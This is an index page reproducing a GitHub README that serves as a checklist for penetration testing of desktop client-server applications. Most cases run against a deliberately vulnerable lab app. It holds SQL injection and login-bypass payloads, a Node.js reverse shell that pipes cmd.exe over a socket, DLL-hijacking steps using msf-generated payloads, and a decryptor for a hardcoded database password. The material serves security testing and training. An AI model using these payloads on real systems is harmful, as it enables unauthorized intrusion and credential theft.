Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/thelsa/cs-checklist
PC客户端(C-S架构)渗透测试checklist / Client side(C-S) penetration checklist
https://github.com/thelsa/cs-checklist
client-side cs-checklist penetration
Last synced: 3 months ago
JSON representation
PC客户端(C-S架构)渗透测试checklist / Client side(C-S) penetration checklist
- Host: GitHub
- URL: https://github.com/thelsa/cs-checklist
- Owner: theLSA
- License: mit
- Created: 2019-09-11T17:02:19.000Z (over 5 years ago)
- Default Branch: master
- Last Pushed: 2021-02-24T17:41:14.000Z (almost 4 years ago)
- Last Synced: 2024-10-26T11:32:25.921Z (3 months ago)
- Topics: client-side, cs-checklist, penetration
- Homepage:
- Size: 30.1 MB
- Stars: 655
- Watchers: 23
- Forks: 168
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
- awesome-security-collection - **260**星 - S架构)渗透测试checklist / Client side(C-S) penestration checklist (<a id="8c5a692b5d26527ef346687e047c5c21"></a>收集)
README
# **CS-checklist**
## **目录**
* [CS-checklist](#cs-checklist)
* [0x00 前言](#0x00-前言)
* [0x01 概述](#0x01-概述)
* [0x02 开发语言](#0x02-开发语言)
* [0x03 协议](#0x03-协议)
* [0x04 数据库](#0x04-数据库)
* [0x05 测试工具](#0x05-测试工具)
* [0x06 代理设置](#0x06-代理设置)
* [0x07 测试点](#0x07-测试点)
* [0. 信息收集](#0-信息收集)
* [1. 逆向工程](#1-逆向工程)
* [2. 信息泄露](#2-信息泄露)
* [3. 传输流量](#3-传输流量)
* [4. 其他漏洞](#4-其他漏洞)
* [用户名枚举](#用户名枚举)
* [暴力破解](#暴力破解)
* [弱口令](#弱口令)
* [密码明文传输](#密码明文传输)
* [SQL语句暴露](#sql语句暴露)
* [SQL注入](#sql注入)
* [CSV注入](#csv注入)
* [XSS](#xss)
* [命令执行](#命令执行)
* [DLL劫持](#dll劫持)
* [逻辑缺陷](#逻辑缺陷)
* [授权认证缺陷](#授权认证缺陷)
* [未授权](#未授权)
* [越权](#越权)
* [溢出](#溢出)
* [0x08 相关技巧](#0x08-相关技巧)
* [0x09 参考资料&&相关资源](#0x09-参考资料相关资源)
## **0x00 前言**
本项目主要针对pc客户端(cs架构)渗透测试,结合自身测试经验和网络资料形成checklist,如有任何问题,欢迎联系,期待大家贡献更多的技巧和案例。
## **0x01 概述**
PC客户端,有丰富功能的GUI,C-S架构。
![cs00](https://github.com/theLSA/cs-checklist/raw/master/demo/cs00.png)
//图片源自:
[https://resources.infosecinstitute.com/practical-thick-client-application-penetration-testing-using-damn-vulnerable-thick-client-app-part-1/#article](#article)
## **0x02 开发语言**
C#(.NET),JAVA,DELPHI,C,C++......
## **0x03 协议**
TCP、HTTP(S),TDS......
## **0x04 数据库**
oracle,mssql,db2......
## **0x05 测试工具**
//相关工具下载:https://github.com/theLSA/hack-cs-tools
dvta: pc客户端靶场
ida pro: 静态分析工具
ollydbg:动态分析工具
CFF Explorer:PE文件分析
PEID:查壳工具
exeinfope/studype:pe文件分析
wireshark:观察流量
tcpview:观察tcp流量
echo Mirage:可拦截tcp流量
burpsuite:http(s)抓包
proxifier:全局代理流量
procmon:文件和注册表监控
regshot:注册表变化对比
process Hacker:进程分析
RegfromApp:注册表监控
WSExplorer:岁月联盟进程抓包工具
strings:查看程序的字符串
.net[反]编译:
dotpeek
de4dot
dnspy
ilspy
sae
ildasm
ilasm
Java反编译
jad
jd-gui
jadx
dex2jar
在线版:
[javare.cn]()www.javadecompilers.com
Reflexil:组装编辑器(可以作为ilspy插件)
Vcg:自动化代码审计工具
BinScope:二进制分析工具
## **0x06 代理设置**
大部分客户端没有代理配置功能,需要自行设置全局代理,如下两种方法:
1)IE-internet设置-连接-局域网设置。
2)proxifier --> proxy server/proxification rules
//http的流量可以结合burpsuite方便测试(proxy server设置为burp代理地址)。
![cs24](https://github.com/theLSA/cs-checklist/raw/master/demo/cs24.png)
![cs25](https://github.com/theLSA/cs-checklist/raw/master/demo/cs25.png)
![cs26](https://github.com/theLSA/cs-checklist/raw/master/demo/cs26.png)
## **0x07 测试点**
### **0.** **信息收集**
编译信息,开发环境/语言,使用协议,数据库,ip,混淆/加密,是否加壳等。
案例0-CFF查看客户端信息(如编译环境)
dvta
![cs01](https://github.com/theLSA/cs-checklist/raw/master/demo/cs01.png)
### **1.** **逆向工程**
反编译,源代码泄露,硬编码key/password,加解密逻辑,角色判断逻辑(0-admin,1-normaluser),后门等。
案例0-反编译获取加解密逻辑并编写解密工具
dvta
![cs02](https://github.com/theLSA/cs-checklist/raw/master/demo/cs02.png)
通过该逻辑和获取的信息
![cs03](https://github.com/theLSA/cs-checklist/raw/master/demo/cs03.png)
**Encrypted Text:** CTsvjZ0jQghXYWbSRcPxpQ==
**AES KEY:** J8gLXc454o5tW2HEF7HahcXPufj9v8k8
**IV:** fq20T0gMnXa6g0l4
编写解密工具
`using System;`
`using System.Collections.Generic;`
`using System.ComponentModel;`
`using System.Data;``using System.Drawing;`
`using System.Linq;`
`using System.Text;`
`using System.Threading.Tasks;`
`using System.Windows.Forms;`
`using System.Security.Cryptography;`
`namespace aesdecrypt`
`{`
`public partial class aesdecrypt : Form`
`{`
`public aesdecrypt()`
`{`
`InitializeComponent();`
`}`
`private void decrypt(object sender, EventArgs e)`
`{`
`String key = “J8gLXc454o5tW2HEF7HahcXPufj9v8k8”;`
`String IV = “fq20T0gMnXa6g0l4”;`
`String encryptedtext = “CTsvjZ0jQghXYWbSRcPxpQ==”;`
`byte[] encryptedBytes = Convert.FromBase64String(encryptedtext);`
`AesCryptoServiceProvider aes = new AesCryptoServiceProvider();`
`aes.BlockSize = 128;`
`aes.KeySize = 256;`
`aes.Key = System.Text.ASCIIEncoding.ASCII.GetBytes(key);`
`aes.IV = System.Text.ASCIIEncoding.ASCII.GetBytes(IV);`
`aes.Padding = PaddingMode.PKCS7;`
`aes.Mode = CipherMode.CBC;`
`ICryptoTransform crypto = aes.CreateDecryptor(aes.Key, aes.IV);`
`byte[] decryptedbytes = crypto.TransformFinalBlock(encryptedBytes, 0, encryptedBytes.Length);`
`String decryptedString = System.Text.ASCIIEncoding.ASCII.GetString(decryptedbytes);`
`Console.WriteLine(“\n”);`
`Console.WriteLine(“##########Decryptig Database password##########\n”);`
`Console.WriteLine(“Decrypted Database password:” + decryptedString+”\n”);`
`Console.WriteLine(“##########Done##########\n”);`
`}`
`}`
`}`
//解密代码源自https://resources.infosecinstitute.com/damn-vulnerable-thick-client-app-part-5/#article
案例1-反编译修改代码逻辑让普通用户以管理员登录
dvta
1-Isadmin
0-Normaluser
改1为0即可判断为admin
![cs04](https://github.com/theLSA/cs-checklist/raw/master/demo/cs04.png)
![cs05](https://github.com/theLSA/cs-checklist/raw/master/demo/cs05.png)
### **2.** **信息泄露**
明文敏感信息,敏感文件(如安装目录下的xxx.config)。
注册表:利用regshot比较客户端运行(如登录)前后注册表差别。
开发调试日志泄露(如dvta.exe >> log.txt)
process hacker查看客户端内存中的明文敏感数据(如账号密码/key)。
strings直接查看客户端字符串(如ip信息)。
查看源代码(如github,gitee等)
案例0-配置敏感信息泄露
dvta
![cs06](https://github.com/theLSA/cs-checklist/raw/master/demo/cs06.png)
案例1-内存泄露数据库账号密码
dvta
![cs07](https://github.com/theLSA/cs-checklist/raw/master/demo/cs07.png)
案例2-源代码含有硬编码ftp账号密码
dvta
![cs08](https://github.com/theLSA/cs-checklist/raw/master/demo/cs08.png)
案例3-开发调试日志泄露
dvta
![cs09](https://github.com/theLSA/cs-checklist/raw/master/demo/cs09.png)
案例4-某系统登录后本地保存账号密码
![cs10](https://github.com/theLSA/cs-checklist/raw/master/demo/cs10.png)
//本案例来源于https://blog.csdn.net/weixin_30685047/article/details/95916065
### **3.** **传输流量**
wireshark/echo Mirage/burpsuite+nopeproxy/fillder/charles
ftp等协议明文传输的账号密码
SQL语句明文传输(如利用构造注入,越权等)
案例0-正方教务系统sql语句明文传输,返回明文数据
![cs11](https://github.com/theLSA/cs-checklist/raw/master/demo/cs11.png)
![cs12](https://github.com/theLSA/cs-checklist/raw/master/demo/cs12.png)
//本案例来源于wooyun
案例1-某系统登录处数据包返回数据库帐号密码
![cs28](https://github.com/theLSA/cs-checklist/raw/master/demo/cs28.png)
### **4.** **其他漏洞**
#### **用户名枚举**
案例0
![](https://github.com/theLSA/cs-checklist/raw/master/demo/cs13.png)
![](https://github.com/theLSA/cs-checklist/raw/master/demo/cs14.png)
#### **暴力破解**
如登录功能。
案例0
![](https://github.com/theLSA/cs-checklist/raw/master/demo/cs23.png)
#### **弱口令**
可尝试admin 123456等。
#### **密码明文传输**
#### **SQL语句暴露**
案例0
![cs15](https://github.com/theLSA/cs-checklist/raw/master/demo/cs15.png)
案例1
![cs27](https://github.com/theLSA/cs-checklist/raw/master/demo/cs27.png)
#### **SQL注入**
如登录处,万能密码
xxx’ or ‘x’=’x
xxx’ or 1=1--
输入框处,构造闭合报错,如’、’)、%’)、order by 100--等。
利用显示位或报错注出数据,原理同web注入,不同数据库大同小异。
案例0-oracle注入
' union select null,null,(select user from dual),null,null,(select banner from sys.v_$version where rownum=1),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual--
![cs16](https://github.com/theLSA/cs-checklist/raw/master/demo/cs16.png)
案例1-mssql注入
111') and (select user)>0--
![cs17](https://github.com/theLSA/cs-checklist/raw/master/demo/cs17.png)
#### **CSV注入**
如导出excel,输入1+1,导出后看是否为2。
#### **XSS**
如Electron,NodeWebKit等。
案例0-中国蚁剑xss到rce
环境:win7+phpstudy(php5.6.27-nts)+perl+nc+antsword2.0.5
xss webshell:
`');`
![cs18](https://github.com/theLSA/cs-checklist/raw/master/demo/cs18.png)
windows+node.js:
成功
`var net = require("net"), sh = require("child_process").exec("cmd.exe");`
`var client = new net.Socket();`
`client.connect(6677, "127.0.0.1", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);`
`sh.stderr.pipe(client);});`
`");`
`?>`
![cs19](https://github.com/theLSA/cs-checklist/raw/master/demo/cs19.png)
相关参考
https://www.anquanke.com/post/id/176379
#### **命令执行**
案例0-印象笔记windows客户端6.15本地文件读取和远程命令执行[http://blog.knownsec.com/2018/11/%E5%8D%B0%E8%B1%A1%E7%AC%94%E8%AE%B0-windows-%E5%AE%A2%E6%88%B7%E7%AB%AF-6-15-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E5%92%8C%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/](http://blog.knownsec.com/2018/11/印象笔记-windows-客户端-6-15-本地文件读取和远程命令执行/)
案例1-某云pc客户端命令执行挖掘过程
https://www.secpulse.com/archives/53852.html
案例2-金山WPS Mail邮件客户端远程命令执行漏洞(Mozilla系XUL程序利用技巧)
https://shuimugan.com/bug/view?bug_no=193117
测试点同web。
#### **DLL劫持**
Linux文件搜索顺序:
1. 当前目录
2. PATH顺序值目录
程序搜索Dll顺序:
//没提供绝对路径
1.应用程序加载的目录。
2.当前目录。
3.系统目录 (C:\\Windows\\System32\\)。
4.16位的系统目录。
5.Windows目录。
6.PATH变量的目录。
程序可以加载攻击者放置的恶意dll。
利用procmon搜索程序加载的dll,观察name not found。
msf生成恶意dll放置于程序加载位置,运行程序即可触发payload。
案例0-dll劫持
dvta
![cs20](https://github.com/theLSA/cs-checklist/raw/master/demo/cs20.png)
![cs21](https://github.com/theLSA/cs-checklist/raw/master/demo/cs21.png)
#### **逻辑缺陷**
测试点同web。
#### **授权认证缺陷**
注册表键值,授权服务器返回信息构造。
相关参考
https://cloud.tencent.com/developer/article/1430899
#### **未授权**
案例0-正方教务系统数据库任意操作
知道ip即可接管数据库
![cs22](https://github.com/theLSA/cs-checklist/raw/master/demo/cs22.png)
//本案例来源于wooyun
#### **越权**
#### **溢出**
## **0x08 相关技巧**
0. 利用procexp --> properties --> tcp/ip 可以查看该客户端发起的网络连接,从而快速确定服务端地址
1. wireshark直接过滤出服务器或数据库的ip或协议方便查看,如
ip.addr == 1.2.3.4&&http
2. 如果有数据库账号,可以用数据库监控sql语句操作(如sql server profiler)。
## **0x09 参考资料&&相关资源**
[https://resources.infosecinstitute.com](https://resources.infosecinstitute.com/)